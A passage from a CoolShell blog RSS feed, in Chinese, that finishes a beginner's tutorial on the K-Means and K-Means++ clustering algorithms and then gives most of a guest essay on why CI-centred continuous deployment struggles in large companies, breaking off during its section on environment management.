crossorigin=\"anonymous\"></script>最近在学习一些数据挖掘的算法，看到了这个算法，也许这个算法对你来说很简单，但对我来说，我是一个初学者，我在网上翻看了很多资料，发现中文社区没有把这个问题讲得很全面很清楚的文章，所以，把我的学习笔记记录下来，分享给大家。</p>\n<p>在数据挖掘中， <strong><em>k</em>-Means 算法</strong>是一种 <a title=\"Cluster analysis\" href=\"http://en.wikipedia.org/wiki/Cluster_analysis\">cluster analysis</a> 的算法，其主要是来计算数据聚集的算法，主要通过不断地取离种子点最近均值的算法。</p>\n<h4>问题</h4>\n<p>K-Means算法主要解决的问题如下图所示。我们可以看到，在图的左边有一些点，我们用肉眼可以看出来有四个点群，但是我们怎么通过计算机程序找出这几个点群来呢？于是就出现了我们的K-Means算法（<a title=\"K-means Clustering 算法\" href=\"http://en.wikipedia.org/wiki/K-means_clustering\" target=\"_blank\">Wikipedia链接</a>）</p>\n<figure id=\"attachment_7780\" aria-describedby=\"caption-attachment-7780\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-7780\" title=\"K-Means 要解决的问题\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/K-Means.gif\" alt=\"\" width=\"600\" height=\"300\" /><figcaption id=\"caption-attachment-7780\" class=\"wp-caption-text\">K-Means 要解决的问题</figcaption></figure>\n<h4>算法概要</h4>\n<p>这个算法其实很简单，如下图所示：</p>\n<p><span id=\"more-7779\"></span></p>\n<figure id=\"attachment_7781\" aria-describedby=\"caption-attachment-7781\" style=\"width: 504px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-7781\" title=\"K-Means 算法概要\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/K-Means.jpg\" alt=\"K-Means 算法概要\" width=\"504\" height=\"370\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/K-Means.jpg 504w, https://coolshell.cn/wp-content/uploads/2012/06/K-Means-300x220.jpg 300w\" sizes=\"(max-width: 504px) 100vw, 504px\" /><figcaption id=\"caption-attachment-7781\" class=\"wp-caption-text\">K-Means 算法概要</figcaption></figure>\n<p>从上图中，我们可以看到，<strong>A, B, C, D, E 是五个在图中点。而灰色的点是我们的种子点，也就是我们用来找点群的点</strong>。有两个种子点，所以K=2。</p>\n<p>然后，K-Means的算法如下：</p>\n<ol>\n<li>随机在图中取K（这里K=2）个种子点。</li>\n<li>然后对图中的所有点求到这K个种子点的距离，假如点Pi离种子点Si最近，那么Pi属于Si点群。（上图中，我们可以看到A,B属于上面的种子点，C,D,E属于下面中部的种子点）</li>\n<li>接下来，我们要移动种子点到属于他的“点群”的中心。（见图上的第三步）</li>\n<li>然后重复第2）和第3）步，直到，种子点没有移动（我们可以看到图中的第四步上面的种子点聚合了A,B,C，下面的种子点聚合了D，E）。</li>\n</ol>\n<p>这个算法很简单，但是有些细节我要提一下，求距离的公式我不说了，大家有初中毕业水平的人都应该知道怎么算的。我重点想说一下“求点群中心的算法”</p>\n<h4>求点群中心的算法</h4>\n<p>一般来说，求点群中心点的算法你可以很简的使用各个点的X/Y坐标的平均值。不过，我这里想告诉大家另三个求中心点的的公式：</p>\n<p><strong>1）Minkowski Distance 公式 ——</strong> λ 可以随意取值，可以是负数，也可以是正数，或是无穷大。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7787\" title=\"Minkowski Distance 公式\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/MinkowskiDistance_clip_image102.gif\" alt=\"\" width=\"131\" height=\"51\" /></p>\n<p><strong>2）Euclidean Distance 公式 </strong>—— 也就是第一个公式 λ=2 的情况</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7784\" title=\"Euclidean Distance 公式\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/EuclideanDistance_clip_image002.gif\" alt=\"\" width=\"137\" height=\"51\" /></p>\n<p><strong>3）CityBlock Distance 公式 </strong>—— 也就是第一个公式 λ=1 的情况</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7782\" title=\"CityBlock Distance 公式\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/CityBlockDistance_clip_image002.gif\" alt=\"\" width=\"111\" height=\"45\" /></p>\n<p>这三个公式的求中心点有一些不一样的地方，我们看下图（对于第一个 λ 在 0-1之间）。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"Minkowski Mean\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/Minkowski-Mean.jpg\" alt=\"\" width=\"180\" height=\"180\" />   <img decoding=\"async\" loading=\"lazy\" title=\"Euclidean distance\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/Euclidean-distance.jpg\" alt=\"\" width=\"180\" height=\"180\" />  <img decoding=\"async\" loading=\"lazy\" title=\"Manhattan distance\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/Manhattan-distance.jpg\" alt=\"\" width=\"180\" height=\"180\" /></p>\n<p style=\"text-align: center;\"><strong>（1）Minkowski Distance     （2）<strong>Euclidean Distance    （3） <strong>CityBlock Distance</strong></strong></strong></p>\n<p style=\"text-align: left;\">上面这几个图的大意是他们是怎么个逼近中心的，第一个图以星形的方式，第二个图以同心圆的方式，第三个图以菱形的方式。</p>\n<h4 style=\"text-align: left;\">K-Means的演示</h4>\n<p style=\"text-align: left;\">如果你以&#8221;<a href=\"https://www.google.com/search?hl=zh-CN&amp;q=K+Means+Demo\" target=\"_blank\">K Means Demo</a>&#8220;为关键字到Google里查你可以查到很多演示。这里推荐一个演示</p>\n<p style=\"text-align: center;\"><a href=\"http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html\">http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html</a></p>\n<p style=\"text-align: left;\">操作是，鼠标左键是初始化点，右键初始化“种子点”，然后勾选“Show History”可以看到一步一步的迭代。</p>\n<p style=\"text-align: left;\">注：这个演示的链接也有一个不错的 <a href=\"http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/index.html\" target=\"_blank\">K Means Tutorial</a> 。</p>\n<h4 style=\"text-align: left;\">K-Means ++ 算法</h4>\n<p>K-Means主要有两个最重大的缺陷——都和初始值有关：</p>\n<ul>\n<li> K 是事先给定的，这个 K 值的选定是非常难以估计的。很多时候，事先并不知道给定的数据集应该分成多少个类别才最合适。（ <a href=\"http://en.wikipedia.org/wiki/Multispectral_pattern_recognition\" target=\"_blank\">ISODATA 算法</a>通过类的自动合并和分裂，得到较为合理的类型数目 K）</li>\n</ul>\n<ul>\n<li>K-Means算法需要用初始随机种子点来搞，这个随机种子点太重要，不同的随机种子点会有得到完全不同的结果。（<a href=\"http://en.wikipedia.org/wiki/K-means%2B%2B\" target=\"_blank\">K-Means++算法</a>可以用来解决这个问题，其可以有效地选择初始点）</li>\n</ul>\n<p>我在这里重点说一下 K-Means++算法步骤：</p>\n<ol>\n<li>先从我们的数据库随机挑个随机点当“种子点”。</li>\n<li>对于每个点，我们都计算其和最近的一个“种子点”的距离D(<var>x</var>)并保存在一个数组里，然后把这些距离加起来得到Sum(D(<var>x</var>))。</li>\n<li>然后，再取一个随机值，用权重的方式来取计算下一个“种子点”。这个算法的实现是，先取一个能落在Sum(D(<var>x</var>))中的随机值Random，然后用Random -= D(<var>x</var>)，直到其&lt;=0，此时的点就是下一个“种子点”。</li>\n<li>重复第（2）和第（3）步直到所有的K个种子点都被选出来。</li>\n<li>进行K-Means算法。</li>\n</ol>\n<p>相关的代码你可以在这里找到“<a href=\"http://rosettacode.org/wiki/K-means%2B%2B_clustering\" target=\"_blank\">implement the K-means++ algorithm</a>”(墙) 另，<a href=\"http://commons.apache.org/math/api-2.1/index.html?org/apache/commons/math/stat/clustering/KMeansPlusPlusClusterer.html\" rel=\"nofollow\" target=\"_blank\">Apache 的通用数据学库也实现了这一算法</a></p>\n<h4>K-Means 算法应用</h4>\n<p>看到这里，你会说，K-Means算法看来很简单，而且好像就是在玩坐标点，没什么真实用处。而且，这个算法缺陷很多，还不如人工呢。是的，前面的例子只是玩二维坐标点，的确没什么意思。但是你想一下下面的几个问题：</p>\n<p style=\"padding-left: 30px;\">1）如果不是二维的，是多维的，如5维的，那么，就只能用计算机来计算了。</p>\n<p style=\"padding-left: 30px;\">2）二维坐标点的X, Y 坐标，其实是一种向量，是一种数学抽象。现实世界中很多属性是可以抽象成向量的，比如，我们的年龄，我们的喜好，我们的商品，等等，能抽象成向量的目的就是可以让计算机知道某两个属性间的距离。如：我们认为，18岁的人离24岁的人的距离要比离12岁的距离要近，鞋子这个商品离衣服这个商品的距离要比电脑要近，等等。</p>\n<p><strong>只要能把现实世界的物体的属性抽象成向量，就可以用K-Means算法来归类了</strong>。</p>\n<p>在 《<a id=\"ctl01_lnkTitle\" href=\"http://www.cnblogs.com/leoo2sk/archive/2010/09/20/k-means.html\">k均值聚类(K-means)</a>》 这篇文章中举了一个很不错的应用例子，作者用亚洲15支足球队的2005年到1010年的战绩做了一个向量表，然后用K-Means把球队归类，得出了下面的结果，呵呵。</p>\n<ul>\n<li>亚洲一流：日本，韩国，伊朗，沙特</li>\n<li>亚洲二流：乌兹别克斯坦，巴林，朝鲜</li>\n<li>亚洲三流：中国，伊拉克，卡塔尔，阿联酋，泰国，越南，阿曼，印尼</li>\n</ul>\n<p>其实，这样的业务例子还有很多，比如，分析一个公司的客户分类，这样可以对不同的客户使用不同的商业策略，或是电子商务中分析商品相似度，归类商品，从而可以使用一些不同的销售策略，等等。</p>\n<p>最后给一个挺好的算法的幻灯片：<a href=\"http://www.cs.cmu.edu/~guestrin/Class/10701-S07/Slides/clustering.pdf\">http://www.cs.cmu.edu/~guestrin/Class/10701-S07/Slides/clustering.pdf</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" alt=\"K Nearest Neighbor 算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8052.html\" class=\"wp_rp_title\">K Nearest Neighbor 算法</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7779.html\">K-Means 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7779.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>88</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>持续部署，并不简单！</title>\n\t\t<link>https://coolshell.cn/articles/7657.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7657.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[马基雅弗利]]></dc:creator>\n\t\t<pubDate>Mon, 25 Jun 2012 00:20:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[企业应用]]></category>\n\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[CI]]></category>\n\t\t<category><![CDATA[部署]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7657</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 @常新居士 投递此文 】 这几年，持续集成随着敏捷在国内的推广而持续走热，与之相伴的持续部署也一直备受关注。自前两年，持续交付这个延续性概念又闯进了国内...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7657.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">【<strong>感谢 <a href=\"http://weibo.com/renfake\" target=\"_blank\">@常新居士</a> 投递此文</strong> 】</p>\n<p style=\"text-align: left;\">这几年，持续集成随着敏捷在国内的推广而持续走热，与之相伴的持续部署也一直备受关注。<strong>自前两年，持续交付这个延续性概念又闯进了国内IT圈，慢慢开始在社区和会议中展露头角。许多不明真相的群众跟风哭着喊着要“上”，而许多前CI的半吊子玩家换件衣服就接着干，有的甚至衣服都来不及换……</strong>。国内的这些土财主如果不巧请了某些所谓的战略家，除了建了一堆持续集成环境，以及每天嚷嚷着要这个要那个，混乱的状况在根本上没有得到改善。本文无意费力探讨持续集成和持续交付的概念，而是打算谈谈对于大型软件企业，以持续集成为基础实现持续部署（交付）时，所要面对的问题以及可行的解决方案。地主老财们，夜黑风正猛，山高路又远，注意脚下……</p>\n<p style=\"text-align: right;\"><strong>And God Said, Let there be light: and there wa</strong>&#8212; GENSIS, Charpter 1, King James</p>\n<h4>一、起步</h4>\n<p>先来讲个故事……</p>\n<p>几年前，一对留美的夫妇通过朋友找到我，让我帮忙在国内组建一个开发团队，该团队负责为其开发一款基于社交网络的客户关系管理软件,（暂且称之为项目A）。这个项目除了尚不清晰的需求范围和很紧的期限外，作为业内人士的老公Richard根据眼下流行的软件开发过程还提了诸多额外的要求：</p>\n<ul>\n<li><strong>功能要及早交付</strong>（以便拿去和潜在的投资人洽谈）</li>\n<li><strong>功能在部署到生产环境前要先部署的一个测试环境</strong>（Richard要试用后给予反馈）</li>\n<li><strong>功能必须经过测试</strong>（长期作为软件外包的甲方，对质量要求严格）</li>\n<li><strong>要减少后期维护的工作</strong>（美国人精贵，少雇一个是一个）</li>\n<li><strong>支持协同开发</strong>（以便维护人员及早介入）</li>\n<li>&#8230;&#8230;</li>\n</ul>\n<p><span style=\"color: #000000;\"><strong>这正是持续集成所要解决的典型场景</strong></span>。针对Richard的要求，我们只要建立一个基于Hudson（现在叫Jenkins）+Maven +SVN 的持续集成环境（再加上持续集成所要求的测试和过程）就可以很好地满足上述要要求，此方案的结构如下：</p>\n<p><span id=\"more-7657\"></span></p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7686\" rel=\"attachment wp-att-7686\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-7686 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2.jpg\" alt=\"\" width=\"693\" height=\"719\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2.jpg 866w, https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-289x300.jpg 289w, https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-768x797.jpg 768w, https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-260x270.jpg 260w\" sizes=\"(max-width: 693px) 100vw, 693px\" /></a></p>\n<p>对于上述方案，让我们近距离看看各个服务器的内部情况，以及人员在这种方案下的分工协作：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7708\" rel=\"attachment wp-att-7708\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-7708 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/response.jpg\" alt=\"\" width=\"658\" height=\"438\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/response.jpg 822w, https://coolshell.cn/wp-content/uploads/2012/06/response-300x199.jpg 300w\" sizes=\"(max-width: 658px) 100vw, 658px\" /></a></p>\n<p>我们先谈谈上面的图中涉及的一些概念性问题：</p>\n<h5><strong>1.1）编译时依赖</strong>和<strong>运行时依赖</strong></h5>\n<p>从字面上不难理解这两种依赖的类型。但要注意虽然编译时依赖常常也是运行时依赖，但并不能推断出一方必然是另一方。比如，在开发的过程中需要某些提供API的Jar包，而运行时可能是具体API实现的Jar包。再者，被依赖的包会有其自身的依赖，因此,项目对这些包产生间接依赖（<strong>运行时依赖</strong>），依此类推，最终形成一个<strong>依赖树</strong>。当项目运行时，这些依赖树上的包必须全部就位。</p>\n<p>Maven在POM中通scope来界定依赖的类型，从而帮助开发和运维人员摆脱手动处理依赖树的工作，然而运行时所依赖包最终是要安装到生产环境的，这部分工作Maven并不能自动完成。因此，一个常用方式是将运行时所依赖的包拷贝到项目文件中，比如Java Web应用的WEB-INF/lib，然后将项目总的打一个包。<strong>在安装项目包后，修改环境变量，将这些包所在的路径加入相应的环境变量中，如ClassPath</strong>。</p>\n<p>再看个例子，现代的操作系统和其它系统框架都考虑到了运行时依赖树的处理问题，比如Ubuntu的apt-get，CentOS的yum，Ruby的RubyGem，Node的npm等等。</p>\n<h5>1.2）依赖时的复杂度</h5>\n<p>项目除了对程序包的依赖，对于运行环境也有些具体的要求，比如，Web应用需要安装和配置Web服务器，应用服务器，数据服务器等，企业应用中可能需要消息队列，缓存，定时作业，或是对其它系统以Web Service方式暴露的服务。这些可以看做项目在系统层面对外部的依赖。这些依赖有些可以由项目自行处理，而有些则是项目无法处理的，比如运行容器，操作系统等，这些是项目的运行环境。</p>\n<p>总之，依赖的复杂度主要有两个：</p>\n<ol>\n<li>依赖包间的版本兼容性问题。兼容性问题是软件开发的恶梦</li>\n<li>间接依赖，或多重依赖问题。这个问题可以类比想像一下C++中的多重继续种出现的很多问题。</li>\n</ol>\n<div>比如：Ａ依赖于python 2.7，A还依赖于B，但是B却依赖于python 3，而Python 2.7和Python 3不兼容。这是依赖中最恶心的事。</div>\n<h5>1.3）任务分工</h5>\n<p>由于项目简单，因此并不需要专门的运维人员。以一个100人左右以交付为主业（恩，就是做外包）的公司为例，由于没有任何历史项目和代码的拖累，且各个项目间也没有任何关联，故而只需要配备一个IT支持人员进行资源方面的管理：分配机器，报修，初始化系统，分配IP地址等。各个项目的运行环境、数据库、开发环境等都由具体项目的开发人员手动完成。 环境出问题怎么办？很简单，凉拌——重装系统。实际的运行效果不错。</p>\n<h5>1.4）自动化部署</h5>\n<p>由于Hudson这样的持续集成环境提供了自动编译（定时或触发式）的功能，而且可以在编译过程中提供了一些扩展点，因此通过提供一个部署用的脚本，就可以非常容易实现简单的自动化部署。</p>\n<p>毫无疑问，持续集成就是敏捷的魔法药，它见效快、副作用小、业界的争论少。每每运用在混乱的项目中时，几周内项目就开始持续的产出经过测试的功能。对于独立项目，以持续集成为中心的持续部署绝对是不二选择。</p>\n<p><strong>但是，我们有没有想过，这会是一个自动化部署的通用解决方案吗？持续集成应该位于持续交付的中心吗？</strong></p>\n<h4>二、困境</h4>\n<p>回到我们的故事：项目A上线两年后，运营业绩不错，投资人第一轮注资后，Richard的公司进行了扩张，他们对项目进行了重构，而且随着用户数量的增长，公司分别在美国、英国和日本等地建立了运营中心，并且对亚洲市场进行的定制功能开发（项目A+），接下来，公司又投入开发了团购系统（项目B）。在获得了新一轮投资后，各条本来比较简单的业务和功能线上越来越复杂，需要不断地细分，于是公司再度扩张（开发人员达到了300人，国内200多人，而运维团队主要在美国），随后又为项目A/A+的高级用户开发了问答系统（项目C）。目前，他们正准备开发手机系统。 看看下面的图，公司增长的过程中，整个项目环境也变得复杂。（注意，这里是一种逻辑结构，而在物理层面项目B和项目A的生产环境可能部署在相同的机器上）。</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7694\" rel=\"attachment wp-att-7694\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-7694 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/sampleT1-1024x529.jpg\" alt=\"\" width=\"717\" height=\"370\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/sampleT1-1024x529.jpg 1024w, https://coolshell.cn/wp-content/uploads/2012/06/sampleT1-300x155.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/06/sampleT1.jpg 1990w\" sizes=\"(max-width: 717px) 100vw, 717px\" /></a></p>\n<p>同时，原本单一的项目软件结构随着业务系统的增加也不再简单： <img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-7697\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/software.jpg\" alt=\"\" width=\"763\" height=\"414\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/software.jpg 954w, https://coolshell.cn/wp-content/uploads/2012/06/software-300x162.jpg 300w\" sizes=\"(max-width: 763px) 100vw, 763px\" /></p>\n<p>而软件间的版本依赖使这个问题变得更为复杂：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7700\" rel=\"attachment wp-att-7700\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7700 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/dependency.jpg\" alt=\"\" width=\"626\" height=\"343\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/dependency.jpg 626w, https://coolshell.cn/wp-content/uploads/2012/06/dependency-300x164.jpg 300w\" sizes=\"(max-width: 626px) 100vw, 626px\" /></a></p>\n<p>现在，Richard的公司已经不再是一条快乐的小鱼，而是渐渐成为一直庞大的巨兽。虽然只有四个产品，但公司却要支持几百台开发机，几十台生产服务器，还有对应的测试环境，数据库服务器，以及几十个开发小组，和一大堆的内部项目。我们尽可以使用持续集成来为我们完成自动化部署。但，<strong>当我们为各个项目建立起持续集成环境后，它能满足我们对于持续部署的要求吗？我们前期的工作可以简化我们今后项目的持续交付的工作的难度吗？它需要我们为之建立一个庞大的运维团队，还是可以让我们能节省下每一毛钱来投入到真正的业务价值中去？</strong></p>\n<p><strong>让我们先来看看复杂的项目环境中的几个场景</strong>：</p>\n<p><strong>场景1：环境升级</strong></p>\n<p style=\"padding-left: 30px;\">项目A和项目B都依赖于Web容器，公司决定升级Web容器版本，而公司要升级的机器有上百台，依赖人肉升级已不现实，维护团队因此针对各种软件开发了相应的自动化脚本，但当新的软件出现时，必须要开发新的脚本。而且当同时升级若干环境软件时，则难度随之增大，手工调度的方式极易出错，当升级失败时仍需要大量人工处理。由于存在大量升级脚本，有一定的维护成本。</p>\n<p><strong>场景2：依赖于环境的软件升级与回滚</strong></p>\n<p style=\"padding-left: 30px;\">针对环境升级，公司为项目A和项目B开发了新的版本。但环境的升级和软件的升级不是同步进行，出错的可能性非常大（想一想间接依赖和多重依赖的情况）。当新版本部署到生产系统时，发现问题，需要回滚到之前的版本——所有运行时版本都需要回滚，而且环境也需要同步回滚。几百台机器……</p>\n<p><strong>场景3：运行时依赖</strong></p>\n<p style=\"padding-left: 30px;\">在第一节的方案中，我们将所有的运行时依赖都打包到一起。当项目依赖关系复杂时，这样产生的包将非常臃肿，潜在地延长了部署的时间（想一想全世有几百台服务器，一个部署计划需要部署几百兆文件的情况），而且产生冲突的可能性非常大，而且对于不同类型的项目（Java和Ruby项目）缺乏通用性。06年左右，Nortel可是拿Excel统计过运行时依赖的，牵涉若干项目组，反复多次，没有个把月真搞不定。</p>\n<p><strong>场景4：泛滥的部署</strong></p>\n<p style=\"padding-left: 30px;\">每个项目相关的持续集成环境都需要开发自己的部署脚本，重复投入大，而且各个项目的部署过程不一致，并且对于同一个项目无法同时满足不同目的部署要求，例如，环境或系统配置参数改变后，无需安装包，只需做清理和激活的工作。最后，持续集成只是支持了和代码修改有关的部署。</p>\n<p><strong>场景5：不一致的环境</strong></p>\n<p style=\"padding-left: 30px;\">简单项目中，开发环境和运行环境都由开发人员搭建，当公司变大时，系统的运行环境将由运维人员搭建，而开发环境如果由运维人员搭建则工作量太大，由开发人员自己搭建则操作复杂又容易产生不一致的情况。</p>\n<p><strong>场景6：热切换</strong></p>\n<p style=\"padding-left: 30px;\">对于某些部署，需要尽量减少服务的停止时间，需要在服务的同时进行部署。</p>\n<p>这些场景只是以持续集成为中心的持续部署在面对大型企业时所遇到的部分问题。大型企业，人多，项目多，机器多，项目环境复杂，部署维护工作繁多。以持续集成为基础的部署可以解决各个项目的集成问题，却无法帮助企业应对复杂的项目环境和各种不同的部署要求。<strong>究其更本，大型企业中的部署不再是一个简单的问题，而是一个交付生态圈，基础设施和环境管理必须要纳入考虑之中。</strong>要实现真正意义上的持续部署，我们就必须<strong>把环境和项目同等对待</strong>，通通纳入管理之中。同时，部署本身要得到统一。<strong>一个好的部署机制，应该是易于建立，易于使用，易于维护。</strong></p>\n<h4>三、任脉——环境管理</h4>\n<p>什么是环境？</p>\n<p>系统运行所依赖和包含的一切就是其环境：硬件、操作系统，网络资源（IP地址、域名），服务容器，服务器软件配置，环境亦是，运行时依赖的命令和包，项目本身的包和配置都是环境的一部分。对于部署而言，广义上，这些通通应该纳入环境管理的范畴，但狭义上，从软件系统的角度看，一个环境就是其运行需要的软件及其配置（我们先把操作系统和网络资源当做基础设施，其在部署时已处于就位的情况）。因此：</p>\n<p><strong>项目A的生产环境 = 项目A本身的软件包 + 项目A运行时依赖的软件包 + 项目A运行时依赖的其它软件 + 项目A的配置信息</strong></p>\n<p>由于，项目本身的软件包、项目运行时依赖的软件包，以及项目运行时依赖的其它软件在本质上没有区别——都是软件，上面的定义可以进一步抽象为：</p>\n<p><strong>环境 = 软件包 + 配置信息</strong></p>\n<p>在这个定义下，我们就必须将运行环境的软件解构，并以包的形式导入到公司的整个项目资源库中，比如Apache将作为一个包被导入，而Apache依赖的其它包也将依次被导入，并建立起正确的依赖关系。而且，在导入的过程中还必须做些相应的调整，如，环境变量的读取和设置，必须来自于环境配置模块，而不要修改系统的环境变量，防止不同环境在系统环境配置上相互影响和依赖。</p>\n<p>再回头审视我们的示例，项目A的生产环境可以部署在不同的区域，对于各个区域可能有定制化的设定。这就像面向对象中的类，可以通过继承使子类重用父类的公有属性和行为并添加自己特有的信息。因此，环境的概念模型如图：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7725\" rel=\"attachment wp-att-7725\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7725 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/Env.jpg\" alt=\"\" width=\"523\" height=\"118\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/Env.jpg 523w, https://coolshell.cn/wp-content/uploads/2012/06/Env-300x67.jpg 300w\" sizes=\"(max-width: 523px) 100vw, 523px\" /></a></p>\n<p>通过这样的关系，我们很容易为示例的复杂环境建立一种简单的结构，对于项目A：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7729\" rel=\"attachment wp-att-7729\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-7729 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/org1.jpg\" alt=\"\" width=\"599\" height=\"519\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/org1.jpg 599w, https://coolshell.cn/wp-content/uploads/2012/06/org1-300x259.jpg 300w\" sizes=\"(max-width: 599px) 100vw, 599px\" /></a></p>\n<p>这里，环境依然是处于知识层面（Knowledge 